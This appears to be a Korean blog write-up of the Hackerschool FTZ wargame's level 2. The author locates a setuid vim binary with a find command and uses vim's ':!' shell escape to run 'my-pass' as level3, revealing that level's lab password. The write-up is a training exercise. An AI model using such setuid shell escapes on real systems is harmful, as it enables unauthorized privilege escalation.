[FTZ] level 2 → level 3 문제풀이 본문

Pwnable/해커스쿨 FTZ write-up

[FTZ] level 2 → level 3 문제풀이

disso1p1 2020. 1. 30. 18:55

 

 

신문물을 발견했다. 티스토리에 코드블럭 기능이 있다니 ...

 

 

 

 

 

level2 - id : level2 , pw : hacker or cracker

 

[level2@ftz level2]$ ls
hint  public_html  tmp
[level2@ftz level2]$ cat hint


텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...


[level2@ftz level2]$

 

hint를 보면 텍스트 파일 편집하는 중에 쉘 명령을 실행시킬 수 있나보다.

 

무슨 말인지 잘 모르겠지만 일단 level1과 같은 방법으로

level3의 user id를 갖고, setuid를 갖고있는 파일을 찾아보자.

 

[level2@ftz level2]$ find / -user level3 -perm -4000 2>/dev/null
/usr/bin/editor
[level2@ftz level2]$

 

여기까진 같은 이전 문제와 같은 방법이므로 쉽게 풀 수 있다.

 

/usr/bin/editor 이라는 파일을 찾았다.

 

 

 

실행시켜보자.

 

[level2@ftz level2]$ /usr/bin/editor

~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~                                  VIM - Vi IMproved
~
~                                   version 6.1.320
~                               by Bram Moolenaar et al.
~                     Vim is open source and freely distributable
~
~                            Help poor children in Uganda!
~                    type  :help iccf<Enter>       for information
~
~                    type  :q<Enter>               to exit
~                    type  :help<Enter>  or  <F1>  for on-line help
~                    type  :help version6<Enter>   for version info
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~

 

아까 hint 에서 언급한 텍스트 파일 편집기이다.

 

vim 편집기로 파일을 편집하고 나갈 때

 보통 esc 키를 누르고,  :wq 를 입력하고 나간다.

 

( : 을 입력해야 명령어나 옵션을 입력할 수 있다.)

 

 

 

그런데 여기서

esc 키를 누르고, :! + 명령어를 입력하면 ?

vim 편집기에서 나가지 않고 쉘을 이용하여 외부명령어를 실행시킬 수 있다.

 

 

이 방법을 사용하여 my-pass 명령어로 level3의 비밀번호를 알아낼 수 있다.

 

:!my-pass

Level3 Password is "can you fly?".


shell returned 37

Hit ENTER or type command to continue

 

 

 

Level3 Password is "can you fly?".

 

 

 

 

 

감사합니다

Comments